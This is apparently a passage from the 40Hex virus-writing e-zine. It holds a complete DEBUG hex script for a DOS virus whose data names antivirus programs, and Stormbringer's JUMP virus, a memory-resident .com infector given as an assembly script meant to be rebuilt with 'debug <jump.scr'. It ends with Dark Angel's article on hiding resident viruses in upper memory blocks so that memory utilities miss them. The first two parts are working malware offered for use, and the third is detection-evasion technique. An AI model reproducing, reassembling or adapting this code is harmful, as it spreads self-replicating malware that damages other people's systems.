E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0380 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F
E 03A0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03B0 00 00 00 01 00 00 00 00 00 10 00 1E 00 00 02 2A
E 03C0 20 45 4D 4D 20 31 2E 30 20 2A 56 50 53 51 52 B9
E 03D0 00 00 BB 00 00 BA 5A 01 B8 35 4E 96 92 85 C0 74
E 03E0 02 F7 E3 E3 05 91 F7 E6 03 C1 96 F7 E3 03 D6 40
E 03F0 83 D2 00 2E A3 43 00 2E 89 16 40 00 8B C2 59 33
E 0400 D2 E3 04 F7 F1 EB 01 92 59 5B 58 5E C3 00 00 00
E 0410 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
E 0420 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
E 0430 00 00 00 00 00 00 50 51 52 56 33 C9 AC 98 03 C8
E 0440 3C FF AD 75 F7 41 5E 8B D1 E8 7E FF AC 98 2B C8
E 0450 AD 3B D1 72 F7 96 5A 59 58 FF E6 50 53 8B F2 D1
E 0460 E6 D1 E6 BB 7D 00 03 F3 B5 03 80 3E A5 00 00 75
E 0470 11 83 C6 03 AC 98 96 03 F3 FE CD F6 C2 04 75 02
E 0480 FE CD 5B 58 C3 51 56 BA 08 00 E8 3D FF E8 CB FF
E 0490 F6 04 04 75 F2 5E 59 C3 50 32 E4 EB 03 50 B4 04
E 04A0 51 56 55 BA 08 00 E8 21 FF 8B EA 33 D2 8A CA E8
E 04B0 A9 FF AC 84 C4 75 0E 24 03 3C 03 74 04 3A C5 75
E 04C0 04 41 4D 78 12 42 83 FA 08 72 E4 0A C9 75 03 F9
E 04D0 EB 06 83 E2 07 EB D8 F8 5D 5E 59 58 C3 51 56 E8
E 04E0 79 FF 46 80 FD 03 75 04 89 04 EB 08 80 FD 01 74
E 04F0 01 46 88 04 5E 59 C3 51 56 E8 5F FF 46 80 FD 03
E 0500 75 03 AD EB 07 80 FD 01 74 01 46 AC 5E 59 C3 0A
E 0510 06 A5 00 52 B1 03 D2 E2 0A E2 5A C3 E8 66 FF 52
E 0520 A0 A5 00 B1 03 D2 E0 0C B0 0A C2 AA 33 D2 E8 99
E 0530 FE 92 5A E8 A7 FF E8 22 FF 08 2C 80 FD 03 75 04
E 0540 AB EB 02 90 AA C3 E8 4F FF 72 FA E8 A9 FF 50 B8
E 0550 8A C0 0A 06 A5 00 0A E2 8B DA E8 28 FF 3B DA 74
E 0560 F9 E8 AF FF AB 58 E8 74 FF E8 EF FE 08 2C C3 2D
E 0570 8C 01 2D B6 01 03 60 02 03 64 02 01 44 02 01 13
E 0580 02 01 FB 01 FF BE DF 01 E9 AB FE C6 06 A5 00 01
E 0590 F6 06 A0 00 01 75 0B E8 FE FE 72 06 B8 8E D8 0A
E 05A0 E2 AB C3 C6 06 A5 00 01 BA 20 00 E8 1C FE B8 8C
E 05B0 C0 0A E2 80 E4 F8 E8 CC FE 0A E2 AB E8 9C FE 80
E 05C0 E4 18 74 04 80 24 FC C3 A0 9D 00 88 04 A1 9E 00
E 05D0 89 44 01 C3 C6 06 A5 00 01 E8 BC FE 72 11 B8 8E
E 05E0 C0 0A E2 AB E8 10 FF 80 0E 9D 00 03 A3 9E 00 C3
E 05F0 B0 32 EB 02 B0 2A B4 C0 E8 8A FE 0A E2 E8 5B FE
E 0600 08 2C C7 06 8C 02 32 C0 EB 77 A0 A5 00 00 06 8C
E 0610 02 E8 E3 FE 8B 2E A2 00 55 9D FB FC 0A C3 9C 5D
E 0620 89 2E A2 00 E9 B6 FE E8 E0 FF 80 0E A1 00 01 C3
E 0630 2D F7 02 2D DE 02 0A C4 02 FF AC B4 C3 A3 8C 02
E 0640 AC A2 D6 02 AC B4 C0 A3 E8 02 AD A3 FE 02 BE A0
E 0650 02 E9 E2 FD 33 D2 E8 02 FE AC 24 03 3C 03 74 04
E 0660 3A C5 75 23 52 B0 0C 0A 06 A5 00 AA EB 29 E8 27
E 0670 FE 72 3C E8 81 FE 93 B8 0A C0 0A E2 E8 1E FE 72
E 0680 2E E8 8B FE AB EB A0 E8 13 FE 72 23 52 B8 80 C8
E 0690 0A 06 A5 00 0A E2 AB 33 D2 E8 2E FD 8B DA 5A E8
E 06A0 85 FF 93 80 3E A5 00 00 74 04 AB EB 02 90 AA C3
E 06B0 0A 0C 0A 80 C8 BE 20 03 EB 80 22 24 22 80 E0 BE
E 06C0 2A 03 EB F4 32 34 32 80 F0 BE 34 03 EB EA 84 A8
E 06D0 84 F6 C0 BE 3E 03 C6 06 0F 01 00 E8 5C FF C6 06
E 06E0 0F 01 04 C3 3A 3C 3A 80 F8 BE 54 03 EB E8 02 04
E 06F0 02 80 C0 BE 5E 03 EB D4 2A 2C 2A 80 E8 BE 68 03
E 0700 EB CA 12 14 12 80 D0 BE 72 03 F6 06 A1 00 01 75
E 0710 BB C3 1A 1C 1A 80 D8 BE 82 03 EB EE 01 B7 03 01
E 0720 A5 03 FF AD A3 8C 02 AD A3 AB 03 AC A2 C2 03 BE
E 0730 8C 03 E9 01 FD E8 65 FD 72 D7 B8 FE C0 0A 06 A5
E 0740 00 0A E2 AB E9 C3 FE C6 06 A5 00 01 E8 4E FD 72
E 0750 C0 B0 40 0A C2 AA E9 B1 FE FE C0 FE C0 40 BE C9
E 0760 03 EB C0 FE C8 FE C8 48 BE D3 03 EB B6 F6 D8 F6
E 0770 D8 BE DD 03 57 E8 12 00 58 3B F8 76 05 80 0E A1
E 0780 00 01 C3 F6 D0 F6 D0 BE F3 03 C7 06 A0 03 8F 03
E 0790 E8 90 FF C7 06 A0 03 8C 03 C3 01 17 04 01 3F 04
E 07A0 FF BE 0A 04 E9 8F FC E8 F3 FC 72 ED E8 48 FD 93
E 07B0 B8 86 C0 0A E2 8B EA E8 E3 FC 3B EA 74 DB 55 E8
E 07C0 4D FD AB E8 31 FD 93 E8 13 FD 5A 93 E9 0E FD C6
E 07D0 06 A5 00 01 E8 C6 FC 72 C0 80 3E 7D 00 03 75 B9
E 07E0 E8 14 FD 93 B0 90 0A C2 52 33 D2 AA EB D5 B0 D0
E 07F0 F6 06 81 00 01 74 0E BA 02 00 E8 CD FB D0 E2 0A
E 0800 C2 8A 0E 82 00 A3 8C 02 E8 92 FC 72 27 80 26 A1
E 0810 00 FE E9 28 FF B4 E0 EB D5 B4 E8 EB D1 B4 F8 EB
E 0820 CD B4 C0 EB C9 B4 C8 EB C5 B4 D0 F6 06 A1 00 01
E 0830 74 02 EB BA C3 B4 D8 EB F2 0F C5 04 03 EC 04 01
E 0840 07 05 FF 83 3E 0F 00 00 74 EA BE A9 04 C6 06 A5
E 0850 00 01 E9 E1 FB E8 2D FC B0 50 0A C2 AA E8 FB FB
E 0860 AC 91 E8 92 FC 83 2E 0F 00 03 83 2E 8E 00 02 8B
E 0870 36 0F 00 88 8C 00 00 89 84 01 00 C3 BA 20 00 E8
E 0880 48 FB 92 0C 06 24 FE AA 32 C9 3C 06 75 D7 A1 9E
E 0890 00 8A 0E 9D 00 EB CE B0 9C EB EC 0F 24 05 02 4F
E 08A0 05 01 5D 05 03 69 05 FF 83 3E 0F 00 0F 74 85 BE
E 08B0 0B 05 EB 99 E8 CE FB B0 58 0A C2 AA E8 09 00 E8
E 08C0 99 FB 88 0C E8 16 FC C3 8B 36 0F 00 8A 8C 00 00
E 08D0 8B 84 01 00 83 06 0F 00 03 83 06 8E 00 02 C3 B0
E 08E0 07 AA E8 E3 FF 88 0E 9D 00 A3 9E 00 C3 F6 06 A0
E 08F0 00 01 75 F8 B0 1F AA EB CF F6 06 A0 00 01 75 EC
E 0900 B8 0E 1F AB 80 0E A0 00 01 C3 50 51 52 8B CA E3
E 0910 09 33 D2 E8 B4 FA 92 AA E2 F7 5A 59 58 C3 E8 A9
E 0920 FA 03 F2 AC C3 77 73 72 76 74 7F 7D 7C 7E EB 75
E 0930 71 7B 79 70 7A 78 E3 E2 E1 E0 18 BD 05 05 F7 05
E 0940 01 10 06 03 1F 06 FF BE AA 05 E9 E9 FA F6 06 A1
E 0950 00 01 74 32 BE 95 05 BA 11 00 E8 C1 FF AA A2 DB
E 0960 05 8B 0E 82 00 8B 2E A2 00 55 9D EB 09 33 D2 E8
E 0970 58 FA 92 AA EB 0C BA 14 00 E8 4E FA 8A C2 AA E8
E 0980 88 FF 89 0E 82 00 C3 80 3E 81 00 03 75 F8 BE A6
E 0990 05 BA 02 00 F6 06 A1 00 01 74 BF BA 04 00 EB BA
E 09A0 B0 E9 AA BA 14 00 E8 21 FA 8B C2 AB E9 5B FF F6
E 09B0 06 7E 11 04 74 D0 B0 E8 AA A1 DC 10 48 48 2B C7
E 09C0 AB C3 FB FA FD FC BE 32 06 BA 04 00 E8 4F FF AA
E 09D0 C3 04 54 06 04 61 06 04 6E 06 01 7B 06 FF BE 41
E 09E0 06 E9 52 FA 8B 2E 96 00 B4 84 80 3E 95 00 03 74
E 09F0 1E 8B 2E 9A 00 B4 85 80 3E 99 00 03 74 11 8B 2E
E 0A00 8A 00 B4 87 80 3E 89 00 03 74 04 33 ED B4 06 C3
E 0A10 F6 06 A0 00 01 75 04 C6 05 2E 47 C3 E8 79 FA 72
E 0A20 3F 50 E8 D2 FA 0A C0 58 74 36 E8 E6 FA 0A 06 A5
E 0A30 00 E8 DC FF AB 8B 36 E2 10 89 04 E8 B9 FA 89 44
E 0A40 04 BA 21 00 2A 16 A5 00 E8 7F F9 89 54 02 83 06
E 0A50 E2 10 06 A1 DE 10 03 C2 2B C5 AB 80 26 A1 00 FE
E 0A60 C3 06 08 08 02 02 00 F7 06 00 FB 06 00 FF 06 00
E 0A70 03 07 00 25 07 FF 81 3E E2 10 7A 11 73 E2 E8 5D
E 0A80 FF BE D6 06 E9 AF F9 B0 30 EB 91 B0 00 EB 8D B0
E 0A90 28 EB 89 B0 D0 BA 04 00 E8 2F F9 0B D2 74 10 F6
E 0AA0 06 81 00 01 74 09 80 3E 82 00 00 74 02 0C 02 BA
E 0AB0 01 00 E9 78 FF 80 CC 08 EB D9 05 3A 07 01 68 07
E 0AC0 FF E8 1A FF BE 2A 07 E9 6C F9 E8 B8 F9 B0 8A E8
E 0AD0 3D FA 52 E8 3A FF AB 8B D7 81 EA 82 11 E8 EA F8
E 0AE0 A1 7A 11 03 C2 2B C5 AB 92 5A E8 6E F9 08 2C BE
E 0AF0 81 11 03 F0 AD E9 E5 F9 E8 9D F9 72 17 B0 88 E8
E 0B00 0D FA E8 0B FF AB BA 0E 00 E8 BE F8 A1 7C 11 03
E 0B10 C2 2B C5 AB C3 0D B7 05 20 E6 06 11 31 07 46 F5
E 0B20 01 01 36 06 10 B3 04 10 18 05 04 85 04 04 89 04
E 0B30 02 8D 04 02 91 04 02 95 04 02 99 04 02 A5 04 07
E 0B40 25 03 07 2F 03 04 39 03 04 43 03 09 63 03 09 6D
E 0B50 03 02 77 03 02 87 03 04 59 03 04 CE 03 04 D8 03
E 0B60 04 11 04 02 E1 03 02 F7 03 FF FC B9 0A 00 BF 7D
E 0B70 00 33 C0 AA 83 C7 03 E2 FA 93 A0 7E 11 24 01 A2
E 0B80 A0 00 B0 04 F6 06 7E 11 02 74 02 0C 03 08 06 8D
E 0B90 00 C7 06 0F 00 0F 00 C7 06 E2 10 E4 10 B9 05 00
E 0BA0 BE D1 06 BF D6 06 AC 98 92 E8 1E F8 92 03 D8 AA
E 0BB0 47 47 E2 F2 0B DB 74 E5 BF 81 11 B8 FF FF 50 F6
E 0BC0 06 7E 11 04 74 1E 58 BA 63 00 E8 FD F7 42 52 52
E 0BD0 E8 F7 F7 E8 34 FD 89 3E DC 10 B0 C3 AA 58 2B C2
E 0BE0 92 E8 26 FD 8B C7 2D 81 11 03 06 7A 11 A3 7F 11
E 0BF0 BA 0C 01 58 2B D0 E8 D1 F7 03 D0 81 C2 90 01 89
E 0C00 16 E0 10 81 06 E0 10 81 11 03 16 7A 11 89 16 DE
E 0C10 10 C7 06 9E 08 85 07 C6 06 A5 08 00 57 BA 03 00
E 0C20 E8 A7 F7 0A D2 74 02 B2 01 88 16 A5 00 BE 85 07
E 0C30 E8 03 F8 58 EB 00 57 83 C7 16 3B 3E E0 10 5F 72
E 0C40 DB C7 06 9E 08 8E 07 C6 06 A5 08 18 EB CE 3B 3E
E 0C50 E0 10 72 C8 97 75 C5 97 8B DF B8 B7 0F 2B C7 A3
E 0C60 38 09 BE 21 09 B9 21 00 F3 A4 8B 36 E2 10 81 FE
E 0C70 E4 10 76 3C 83 EE 06 8A 04 8A D0 80 E2 FC 80 FA
E 0C80 00 75 02 0C 28 80 FA 28 75 02 24 03 B4 8F 81 24
E 0C90 FC 38 81 3C D0 08 75 03 80 E4 C7 A3 1A 09 8B 54
E 0CA0 02 89 16 1C 09 8B 4C 04 EB 00 31 8F 34 12 EB BE
E 0CB0 C3 FB 0E 1F BE 34 12 B8 34 12 B9 1D 08 31 04 EB
E 0CC0 09 05 34 12 46 E2 F6 E9 00 00 05 34 12 46 31 04
E 0CD0 EB EF B9 3A 10 33 D2 E8 16 00 B4 40 8B 1E 74 10
E 0CE0 9C 9A 00 00 00 00 72 02 3B C1 9C E8 02 00 9D C3
E 0CF0 51 8B F2 B8 34 12 B9 1D 08 31 04 05 34 12 46 31
E 0D00 04 05 34 12 46 E2 F2 59 C3 B0 03 CF 52 1E 0E 1F
E 0D10 B8 24 35 E8 65 00 8C 06 90 10 89 1E 8E 10 B8 24
E 0D20 25 BA 71 10 E8 54 00 1F 5A C3 B8 24 25 2E C5 16
E 0D30 8E 10 E8 46 00 C3 52 26 8B 47 02 40 33 D2 2E F7
E 0D40 36 2B 00 26 8B 07 24 1F 3A C2 F9 74 09 26 8B 07
E 0D50 25 E0 FF 0A C2 F8 5A C3 B4 40 EB 02 B4 3F E8 15
E 0D60 00 72 02 3B C1 C3 33 C9 8B D1 B8 00 42 EB 07 33
E 0D70 C9 8B D1 B8 02 42 2E 8B 1E 74 10 9C FA 2E FF 1E
E 0D80 4A 10 C3 B8 00 57 E8 ED FF BB 92 10 89 0F 89 57
E 0D90 02 E8 A2 FF 73 01 C3 33 D2 E8 2E F6 89 16 28 09
E 0DA0 89 16 5C 10 33 D2 E8 21 F6 89 16 3B 09 89 16 64
E 0DB0 10 33 D2 E8 14 F6 89 16 32 09 89 16 6A 10 E8 A5
E 0DC0 FF B9 18 00 BA 76 10 E8 92 FF 72 CA 8B F2 BF 11
E 0DD0 00 F3 A4 52 E8 98 FF A3 96 10 89 16 98 10 8B F0
E 0DE0 8B FA 5B 81 3F 5A 4D 74 18 81 3F 4D 5A 74 12 C6
E 0DF0 06 23 00 00 3D 79 EC 77 9D C7 06 1B 00 00 00 EB
E 0E00 2B C6 06 23 00 01 8B 47 04 F7 26 2D 00 2B C6 1B
E 0E10 D7 72 B7 8B C6 8B D7 05 06 13 83 D2 00 F7 36 2D
E 0E20 00 0B D2 74 01 40 89 47 04 89 57 02 83 E6 F0 83
E 0E30 C6 10 83 D7 00 8B D6 8B CF 53 E8 2D FF 5B 80 3E
E 0E40 23 00 00 75 17 C6 07 E9 05 00 01 A3 7C 11 05 3A
E 0E50 10 A3 7A 11 C6 06 7E 11 01 90 EB 51 8B 47 08 F7
E 0E60 26 29 00 2B F0 1B FA 8B C6 8B D7 F7 36 29 00 89
E 0E70 47 16 A3 11 00 8B 47 0E F7 26 29 00 8B 4F 10 03
E 0E80 C1 83 D2 00 2B C6 1B D7 72 0D 2D 80 00 83 DA 00
E 0E90 72 5A 81 47 0E 30 01 C7 06 7A 11 3A 10 C7 06 7C
E 0EA0 11 00 00 89 0E 8E 00 C6 06 7E 11 02 90 A1 7C 11
E 0EB0 A3 25 09 A3 8A 0E BA 06 00 E8 0E F5 0B D2 74 05
E 0EC0 80 0E 7E 11 04 E8 A2 FC E8 FF 04 72 1F A1 7F 11
E 0ED0 80 3E 23 00 00 75 08 2D 03 01 A3 77 10 EB 03 A3
E 0EE0 8A 10 8B CF BA 81 11 2B CA E8 6C FE 72 2B E8 75
E 0EF0 FE B9 18 00 BA 76 10 E8 5E FE 72 1D 81 06 96 10
E 0F00 06 13 83 16 98 10 00 BA 19 00 E8 BD F4 0B D2 74
E 0F10 08 BB 92 10 E8 1F FE 89 07 8B 16 96 10 8B 0E 98
E 0F20 10 E8 46 FE 33 C9 E8 2F FE B8 01 57 8B 0E 92 10
E 0F30 8B 16 94 10 E8 3F FE C3 26 81 2F 06 13 26 83 5F
E 0F40 02 00 73 0A 26 81 07 06 13 26 83 57 02 00 C3 03
E 0F50 43 4F 4D 03 45 58 45 04 53 43 41 4E 07 56 53 48
E 0F60 49 45 4C 44 05 43 4C 45 41 4E 08 46 49 4E 44 56
E 0F70 49 52 55 05 47 55 41 52 44 08 56 49 56 45 52 49
E 0F80 46 59 02 54 42 02 2D 56 07 56 49 52 53 54 4F 50
E 0F90 03 4E 4F 44 04 48 49 45 57 05 50 41 53 43 41 07
E 0FA0 4E 45 54 45 4E 56 49 06 46 2D 50 52 4F 54 06 43
E 0FB0 48 4B 44 53 4B 53 51 56 57 1E 06 50 8B F2 8B DE
E 0FC0 33 FF B9 40 00 AC 3C 5C 74 08 3C 2F 74 04 3C 3A
E 0FD0 75 02 8B DE 3C 2E 75 02 8B FE 0A C0 74 04 E2 E5
E 0FE0 EB 45 3B FB 76 41 8B F7 BF BF 0B 0E 07 E8 3A 00
E 0FF0 74 05 E8 35 00 75 30 B1 0F 8B F3 BF C7 0B 51 E8
E 1000 28 00 59 74 0B E2 F7 F8 58 07 1F 5F 5E 59 5B C3
E 1010 83 F9 02 77 0D 58 50 80 FC 4B 75 06 2E C6 06 0A
E 1020 0D 6C 83 F9 01 74 E0 F9 EB DE 56 26 8A 0D 47 8B
E 1030 C7 03 C1 50 AC 3C 61 72 06 3C 7A 77 02 2C 20 AE
E 1040 E1 F2 5F 5E C3 50 53 51 56 57 55 1E 06 E8 75 01
E 1050 E8 B9 FC B8 00 43 E8 22 FD 2E 89 0E F7 0C B8 01
E 1060 43 33 C9 E8 15 FD 72 24 B8 02 3D E8 0D FD 72 13
E 1070 52 1E 0E 1F 0E 07 A3 74 10 E8 07 FD B4 3E E8 F5
E 1080 FC 1F 5A B8 01 43 B9 00 00 E8 EF FC E8 9B FC 07
E 1090 1F 5D 5F 5E 59 5B 58 C3 FB EB 00 80 FC 11 74 05
E 10A0 80 FC 12 75 2C 53 06 50 B4 2F E8 CE FC 58 E8 CA
E 10B0 FC 3C FF 74 19 50 26 80 3F FF 75 03 83 C3 07 83
E 10C0 C3 17 E8 71 FC 58 73 06 83 C3 06 E8 6A FE 07 5B
E 10D0 CF 80 FC 4E 74 05 80 FC 4F 75 2C 53 06 50 B4 2F
E 10E0 E8 98 FC 58 E8 94 FC 72 11 50 83 C3 16 E8 46 FC
E 10F0 58 73 06 83 C3 04 E8 3F FE F8 07 5B 50 55 8B EC
E 1100 9F 88 66 08 5D 58 CF 80 FC 31 74 0B 80 FC 4C 75
E 1110 09 2E C6 06 0A 0D 00 E8 AB 00 FC 52 3D 00 4B 74
E 1120 47 3D 00 6C 75 07 F6 C2 12 8B D6 75 45 80 FC 3C
E 1130 74 40 80 FC 5B 74 3B 80 FC 3E 75 25 2E 3B 1E 9A
E 1140 10 75 1E 0B DB 74 1A 2E C7 06 9A 10 00 00 E8 2A
E 1150 FC 72 0B 1E 0E 1F BA 9C 10 E8 E9 FE 1F F8 5A EB
E 1160 9B 5A FA 2E FF 2E 4A 10 E8 4A FE 72 F4 E8 D5 FE
E 1170 EB EF 2E 83 3E 9A 10 00 75 E7 E8 38 FE 72 E2 2E
E 1180 89 16 FA 0D 5A 52 E8 F2 FB BA 00 00 72 D0 51 56
E 1190 57 06 8B F2 BF 9A 10 0E 07 AB B9 40 00 F3 A4 07
E 11A0 5F 5E 59 EB B8 54 42 4D 45 4D 58 58 58 54 42 43
E 11B0 48 4B 58 58 58 54 42 44 53 4B 58 58 58 54 42 46
E 11C0 49 4C 58 58 58 50 52 1E B4 FF 32 DB CD 13 B4 FE
E 11D0 CD 13 B8 02 FA BA 45 59 B3 31 CD 16 0E 1F B4 52
E 11E0 CD 21 26 C4 5F 22 BE 0D 0E B9 04 00 51 83 C6 08
E 11F0 8D 7F 0A B9 04 00 56 F3 A7 5E 59 E0 EF 75 06 26
E 1200 80 0E 16 00 01 26 C4 1F 83 FB FF 75 D9 1F 5A 58
E 1210 C3 43 4F 4D 4D 41 4E 44 00 B8 00 00 B1 04 D3 E8
E 1220 8C CA 03 C2 50 B8 9A 0E 50 CB FC 0E 1F B8 0F 00
E 1230 2B 06 0F 00 49 F6 F1 D1 E0 03 E0 B1 19 A1 F5 0F
E 1240 F6 F1 0A E4 75 1D B4 2A CD 21 80 FA 07 75 14 B4
E 1250 09 BA F7 0F CD 21 BA CC 03 EC 24 FD B2 C2 EE B4
E 1260 4C CD 21 E8 5F FF B4 62 CD 21 53 33 C0 8E D8 8E
E 1270 1E FE 04 81 3E 81 0E 43 4F 74 3D 93 48 8E D8 03
E 1280 06 03 00 2D 44 01 8C CA 81 C2 04 01 3B C2 72 1B
E 1290 8C CA 2E 03 16 1B 00 3B C2 72 10 8C D2 8B F4 46
E 12A0 B1 04 D3 EE 46 03 D6 3B C2 73 24 B4 48 BB FF FF
E 12B0 CD 21 81 FB 45 01 73 03 E9 9A 00 B4 48 CD 21 48
E 12C0 8E D8 C7 06 01 00 00 00 03 06 03 00 2D 44 01 8A
E 12D0 16 00 00 C6 06 00 00 4D 81 2E 03 00 45 01 A3 12
E 12E0 00 8E D8 88 16 00 00 40 A3 01 00 C7 06 03 00 44
E 12F0 01 1E 07 0E 1F FF 06 F5 0F BE 81 0E BF 08 00 A5
E 1300 A5 A5 A5 8E C0 33 F6 8B FE B9 3A 10 F3 A4 BE 42
E 1310 09 B9 3A 00 F3 A4 33 C0 26 A3 9A 10 8E D8 A1 6C
E 1320 04 26 A3 43 00 A1 6E 04 26 A3 40 00 C6 06 FB 04
E 1330 EA C7 06 FC 04 08 0D 8C 06 FE 04 FA A1 84 00 26
E 1340 A3 4A 10 A1 86 00 26 A3 4C 10 C7 06 84 00 FB 04
E 1350 8C 1E 86 00 FB 5B 0E 1F 8E C3 BE 11 00 80 7C 12
E 1360 00 75 0D BF 00 01 89 7C 14 89 5C 16 A4 A5 EB 0C
E 1370 8C C8 2B 04 01 44 16 03 44 0E 8E D0 8E DB 33 C0
E 1380 2E FF 2E 25 00 E2 04 0D 0A 57 65 6C 63 6F 6D 65
E 1390 20 74 6F 20 74 68 65 20 45 78 70 6C 6F 73 69 6F
E 13A0 6E 27 73 20 4D 75 74 61 74 69 6F 6E 20 4D 61 63
E 13B0 68 69 6E 65 20 21 0D 0A 44 69 73 20 69 73 20 6C
E 13C0 65 76 65 6C 20 33 2E 0D 0A 24 B9 3A 10 33 D2 E8
E 13D0 16 00 B4 40 8B 1E 74 10 9C 9A 00 00 00 00 72 02
E 13E0 3B C1 9C E8 02 00 9D C3 51 8B F2 B8 34 12 B9 1D
E 13F0 08 31 04 05 34 12 46 31 04 05 34 12 46 E2 F2 59
E 1400 C3 B0 03 CF
R CX
1304
W
Q
40Hex Number 14 Volume 5 Issue 1 File 011
The following is a DEBUG script for my old JUMP virus, written sometime
in the summer of '94 or so I think. I had gotten bored as hell, and couldn't
think of much that hadn't been done with viruses, so I came up with this
thing.... anyway, I didn't make it the typical "e 100 xx xx" type debug
script, 'cause I wanted people to be able to see how it got its name.
It can be reassembled the same as any debug script, just debug <jump.scr.
Aside from its most obvious trait, it is a memory resident appending .com
infector.
-Stormbringer
------------------------- cut here for jump.scr ------------------------
a 100
jmp near 0104
jmp 5D00:00E8
jmp 010B
jmp 0107:ED81
jmp 0112
jmp DB33:4AB4
jmp 0119
jmp 9021:CD4B
jmp 0120
jmp 9031:EB83
jmp 0127
jmp 21CD:4AB4
jmp 012E
jmp 9000:30BB
jmp 0135
jmp 21CD:48B4
jmp 013C
jmp 9000:102D
jmp 0143
jmp 9090:C08E
jmp 014A
jmp 9000:F0BF
jmp 0151
jmp 90AA:5AB0
jmp 0158
jmp ABC0:8C90
jmp 015F
jmp 0601:00BF
jmp 0166
jmp 0100:B68D
jmp 016D
jmp 5001:83B8
jmp 0174
jmp 9001:D2B9
jmp 017B
jmp 90CB:A4F2
jmp 0383
jmp 071F:061E
jmp 018A
jmp 9001:00BF
jmp 0191
jmp A501:E3BE
jmp 0198
jmp 90C0:33A4
jmp 019F
jmp 90FA:D88E
jmp 01A6
jmp 9001:F5B8
jmp 01AD
jmp 0084:0687
jmp 01B4
jmp 02D2:A32E
jmp 01BB
jmp 9090:C88C
jmp 01C2
jmp 0086:0687
jmp 01C9
jmp 02D4:A32E
jmp 01D0
jmp 1F06:06FB
jmp 01D7
jmp 5701:00BF
jmp 01DE
jmp 0000:E9CB
jmp 0020:CD90
jmp 504D:554A
jmp 4442
jmp 5D53:505B
jmp 904B:003D
jz 01FE
jmp 02D1
jmp 0201
jmp 5251:5350
jmp 0208
jmp 5756:061E
jmp 020F
jmp 3D02:B890
jmp 0216
jmp 0373:21CD
jmp 02C6
jmp 0220
jmp 01E3:BA93
jmp 0227
jmp 0003:B90E
jmp 022E
jmp 903F:B41F
jmp 0235
jmp 9090:21CD
jmp 023C
jmp 01E3:3E80
jmp 7EB7
jmp 0246
jmp 9001:E3BE
jmp 024D
jmp 904D:3C80
jz 02BF
jmp 0256
jmp 9042:02B8
jmp 025D
jmp D233:C933
jmp 0264
jmp 9090:21CD
jmp 026B
jmp 9000:032D
jmp 0272
jmp 9001:E0A3
jmp 0279
jmp 9090:40B4
jmp 0280
jmp FB01:00BA
jmp 0287
jmp 9001:D2B9
jmp 028E
jmp C933:21CD
jmp 0295
jmp 9042:00B8
jmp 029C
jmp 21CD:D233
jmp 02A3
jmp FBFA:40B4
jmp 02AA
jmp 9001:DFBA
jmp 02B1
jmp 0003:B990
jmp 02B8
jmp 9090:21CD
jmp 02BF
jmp 21CD:3EB4
jmp 02C6
jmp 1F07:5E5F
jmp 02CD
jmp 585B:595A
jmp 0000:0000
rcx
1d6
rbx
0
n jump.com
w 100
q
------------------------- end of jump.scr ---------------------------
40Hex Number 14 Volume 5 Issue 1 File 012
UMB Residency
By Dark Angel, Phalcon/Skism '95
One day, while fiddling with loading programs into MSDOS UMB's, I realised
that there are very few viruses that used UMB's. This is surprising, given
the prevalence of UMB's and the ease with which DOS viruses may hide their
presence through the use of UMB's.
The UMB's, or upper memory blocks, consist of the memory above 640K and below
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
peripherals, notably video memory. There is normally plenty of unused space in
this region, so enterprising programmers found a simple way to incorporate the
memory into DOS's memory allocation scheme. They simply extended the MCB chain
into that region, with MCB's indicating already allocated memory covering the
memory used for other purposes by the machine. In this way, more memory,
albeit fragmented, was usable for loading programs. The UMB's are especially
handy for storing TSR's, since they have smaller memory constraints than most
programs. The programmers at Microsoft, realising the utility of UMB's,
decided to incorporate UMB's into DOS beginning at version 5, so now there is
a standardised method of handling upper memory.
The MCB's handling upper memory are slightly more complex than regular MCB's.
The format of a UMB control block is:
Offset Size Description
00 BYTE 'Z' if last MCB in chain, 'M' otherwise
01 WORD PSP segment of owner (8 if MSDOS, 0 if free)
03 WORD size of memory block in paragraphs
05 3 BYTES unused
08 8 BYTES program name in ASCII or
"SC" if system code or
"SD" if system data
The method is pretty simple to understand and very easy to implement. In
DOS 5+, the first UMB can be located through a pointer in the disk buffer
information structure which, in turn, may be located through the DOS master
list structure. This UMB is usually located at 9FFF:0000, but there is no need
for this to be the case. It's simply the most convenient location for it. The
only difference between modifying regular MCB's and UMB's is the extra field
at offset 8 which may be used to mark the block as DOS system code. By marking
this with DOS's usual fields to indicate unusuable memory such as video memory
and ROM, we effectively hide the virus from detection by utilities such as
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.
